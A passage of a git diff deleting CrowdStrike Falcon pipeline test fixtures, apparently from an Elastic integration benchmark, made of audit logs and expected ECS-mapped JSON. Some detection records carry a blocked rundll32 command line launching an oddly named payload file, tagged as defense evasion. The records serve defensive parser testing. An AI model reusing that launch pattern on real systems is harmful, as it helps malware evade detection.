"{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694992,\"eventType\":\"ScheduledReportNotificationEvent\",\"eventCreationTime\":1698930172000,\"version\":\"1.0\"},\"event\":{\"UserUUID\":\"9999999-bc3c-99bb-a05a-bb94ff5dc0fb\",\"UserID\":\"admin.rose@example.com\",\"ExecutionID\":\"efghtigh\",\"ReportID\":\"999999ddddddddd\",\"ReportName\":\"LarouxSearch\",\"ReportType\":\"event_search\",\"ReportFileReference\":\"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444\",\"Status\":1,\"StatusMessage\":\"message\",\"ExecutionMetadata\":{\"ExecutionStart\":1698930019000,\"ExecutionDuration\":152176,\"ReportFileName\":\"Laroux_Search_2023_November_2_13017_34176.csv\",\"ResultCount\":0,\"ResultID\":\"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=\",\"SearchWindowStart\":1698843600000,\"SearchWindowEnd\":1698930000000}}}" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "id": "admin.rose@example.com", - "name": "admin.rose" - } - }, - { - "@timestamp": "2023-11-02T13:41:34.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "fffffffff33333", - "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 8695284, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "category": [ - "network", - "session" - ], - "created": "2023-11-02T13:41:34.000Z", - "kind": "event", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695284,\"eventType\":\"RemoteResponseSessionStartEvent\",\"eventCreationTime\":1698932494000,\"version\":\"1.0\"},\"event\":{\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"HostnameField\":\"UKCHUDL00206\",\"UserName\":\"admin.rose@example.com\",\"StartTimestamp\":1698932494,\"AgentIdString\":\"fffffffff33333\"}}", - "start": "2023-11-02T13:41:34.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "UKCHUDL00206" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "UKCHUDL00206" - ], - "user": [ - "admin.rose", - "admin.rose@example.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "example.com", - "email": "admin.rose@example.com", - "name": "admin.rose" - } - }, - { - "@timestamp": "2023-11-02T13:43:35.000Z", - "crowdstrike": { - "event": { - "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "HostGroups": [ - "e2091491a28248eaae3ede9f217e03fc", - "e837d750b8ba400c953380da346e2b04", - "186c20383a98495cb0e0a7d5540f3aff", - "24d1f760fcdc46d992bb8f41d7dd897b", - "2b7bd0fede874baaa1afdea20f255632", - "a293aded9c4548469d0e853b7267cce5", - "adab9db4541040729e01d16211189a27", - "b75b27ce17244922bd0a862a712ea812" - ], - "IOCType": "hash_sha256", - "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", - "MACAddress": "02-50-41-00-00-01", - "Objective": "KeepAccess", - "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2048, - "PatternId": "10186", - "SensorId": "69027ffffffffffffaaf50", - "Severity": 4, - "SeverityName": "High" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "DetectionSummaryEvent", - "offset": 8695332, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention,processwasblockedfromexecution.", - "category": [ - "malware" - ], - "created": "2023-11-02T13:43:35.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186}}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "a52bfa4a96f97c368312028dbd7c8461", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e" - }, - "name": "rundll32.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32" - }, - "host": { - "domain": "AP", - "name": "INNOIDL0032" - }, - "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh" - ], - "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", - "end": "2023-11-02T13:43:34.000Z", - "entity_id": "54665651", - "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", - "name": "rundll32.exe", - "parent": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "540396081", - "executable": "C:\\Windows\\Explorer.EXE", - "pid": 540396081 - }, - "pid": 54665651, - "start": "2023-11-02T13:43:34.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", - "a52bfa4a96f97c368312028dbd7c8461" - ], - "hosts": [ - "INNOIDL0032" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "vishnu.sharma" - ] - }, - "rule": { - "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", - "id": "ldt:690ddddddd0721205", - "name": "AttackerMethodology" - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event", - "SensorGroupingTags/USB_Storage_Exception" - ], - "threat": { - "tactic": { - "name": [ - "DefenseEvasion" - ] - }, - "technique": { - "name": [ - "Rundll32" - ] - } - }, - "user": { - "name": "vishnu.sharma" - } - }, - { - "@timestamp": "2023-11-03T00:36:37.000Z", - "crowdstrike": { - "event": { - "FineScore": 6.1, - "IncidentType": "1", - "State": "open" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "IncidentSummaryEvent", - "offset": 8698239, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "incident" - ], - "category": [ - "malware" - ], - "created": "2023-11-03T00:36:37.000Z", - "end": "2023-11-03T00:36:37.000Z", - "id": "inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8698239,\"eventType\":\"IncidentSummaryEvent\",\"eventCreationTime\":1698971797000,\"version\":\"1.0\"},\"event\":{\"IncidentStartTime\":1698971797,\"IncidentEndTime\":1698971797,\"FalconHostLink\":\"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj\",\"State\":\"open\",\"FineScore\":6.1,\"LateralMovement\":0,\"IncidentType\":1,\"IncidentID\":\"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e\",\"HostID\":\"4345454534534545\"}}", - "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj", - "start": "2023-11-03T00:36:37.000Z", - "type": [ - "info" - ] - }, - "host": { - "id": "4345454534534545" - }, - "message": "Incident score 6.1", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2023-11-02T13:43:35.000Z", - "crowdstrike": { - "event": { - "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "HostGroups": [ - "e2091491a28248eaae3ede9f217e03fc", - "e837d750b8ba400c953380da346e2b04", - "186c20383a98495cb0e0a7d5540f3aff", - "24d1f760fcdc46d992bb8f41d7dd897b", - "2b7bd0fede874baaa1afdea20f255632", - "a293aded9c4548469d0e853b7267cce5", - "adab9db4541040729e01d16211189a27", - "b75b27ce17244922bd0a862a712ea812" - ], - "IOCType": "hash_sha256", - "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", - "MACAddress": "02-50-41-00-00-01", - "MitreAttack": [ - { - "PatternID": "10186", - "Tactic": "DefenseEvasion", - "Technique": "Rundll32" - } - ], - "Objective": "KeepAccess", - "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2048, - "PatternId": "10186", - "SensorId": "69027ffffffffffffaaf50", - "Severity": 4, - "SeverityName": "High" - }, - "metadata": { - "customerIDString": "abcabcabc22222", - "eventType": "DetectionSummaryEvent", - "offset": 8695332, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention,processwasblockedfromexecution.", - "category": [ - "malware" - ], - "created": "2023-11-02T13:43:35.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186,\"MitreAttack\":[{\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"PatternID\":10186}]}}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "a52bfa4a96f97c368312028dbd7c8461", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e" - }, - "name": "rundll32.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32" - }, - "host": { - "domain": "AP", - "name": "INNOIDL0032" - }, - "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh" - ], - "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", - "end": "2023-11-02T13:43:34.000Z", - "entity_id": "54665651", - "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh", - "name": "rundll32.exe", - "parent": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "540396081", - "executable": "C:\\Windows\\Explorer.EXE", - "pid": 540396081 - }, - "pid": 54665651, - "start": "2023-11-02T13:43:34.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e", - "a52bfa4a96f97c368312028dbd7c8461" - ], - "hosts": [ - "INNOIDL0032" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "vishnu.sharma" - ] - }, - "rule": { - "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.", - "id": "ldt:690ddddddd0721205", - "name": "AttackerMethodology" - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event", - "SensorGroupingTags/USB_Storage_Exception" - ], - "threat": { - "tactic": { - "name": [ - "DefenseEvasion" - ] - }, - "technique": { - "name": [ - "Rundll32" - ] - } - }, - "user": { - "name": "vishnu.sharma" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log deleted file mode 100644 index 1a403c955c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log +++ /dev/null @@ -1,277 +0,0 @@ -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1045, - "eventType": "RemoteResponseSessionStartEvent", - "eventCreationTime": 1582830734000, - "version": "1.0" - }, - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "StartTimestamp": 1582830734 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1046, - "eventType": "RemoteResponseSessionEndEvent", - "eventCreationTime": 1582830772000, - "version": "1.0" - }, - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "EndTimestamp": 1582830772 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 0, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581542950710, - "version": "1.0" - }, - "event": { - "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz", - "UserIp": "10.10.0.8", - "OperationName": "streamStarted", - "ServiceName": "Crowdstrike Streaming API", - "Success": true, - "UTCTimestamp": 1581542950, - "AuditKeyValues": [ - { - "Key": "APIClientID", - "ValueString": "1234567890abcdefghijklmnopqr" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "-1" - }, - { - "Key": "appId", - "ValueString": "siem-connector-v2.0.0" - }, - { - "Key": "eventType", - "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581543577147, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581543577147 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 2, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581545677554, - "version": "1.0" - }, - "event": { - "UserId": "bob@company.com", - "UserIp": "192.168.6.3", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581545677554 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 3, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1581546248000, - "version": "1.0" - }, - "event": { - "UserId": "chris@company.com", - "UserIp": "192.168.6.13", - "OperationName": "update_group", - "ServiceName": "groups", - "AuditKeyValues": [ - { - "Key": "group_id", - "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" - }, - { - "Key": "action_name", - "ValueString": "add_group_member" - } - ], - "UTCTimestamp": 1581546248 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 4, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601312140, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "requestResetPassword", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601312140, - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "alice@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 5, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601341730, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601341730 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 6, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601520236, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "changePassword", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601520236, - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "first.last@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 7, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601572362, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "userAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601572362 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 8, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601814754, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "twoFactorAuthenticate", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601814754 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 9, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1581601820289, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "selfAcceptEula", - "ServiceName": "CrowdStrike Authentication", - "Success": true, - "UTCTimestamp": 1581601820289 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 10, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1581603262000, - "version": "1.0" - }, - "event": { - "UserId": "alice@company.com", - "UserIp": "192.168.6.8", - "OperationName": "detection_update", - "ServiceName": "detections", - "AuditKeyValues": [ - { - "Key": "detection_id", - "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" - }, - { - "Key": "new_state", - "ValueString": "in_progress" - }, - { - "Key": "assigned_to", - "ValueString": "First Last" - }, - { - "Key": "assigned_to_uid", - "ValueString": "first.last@company.com" - } - ], - "UTCTimestamp": 1581603262 - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json deleted file mode 100644 index 6915a16dca..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json +++ /dev/null @@ -1,786 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-02-27T19:12:14.000Z", - "crowdstrike": { - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 1045, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-02-27T19:12:14.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1045,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n 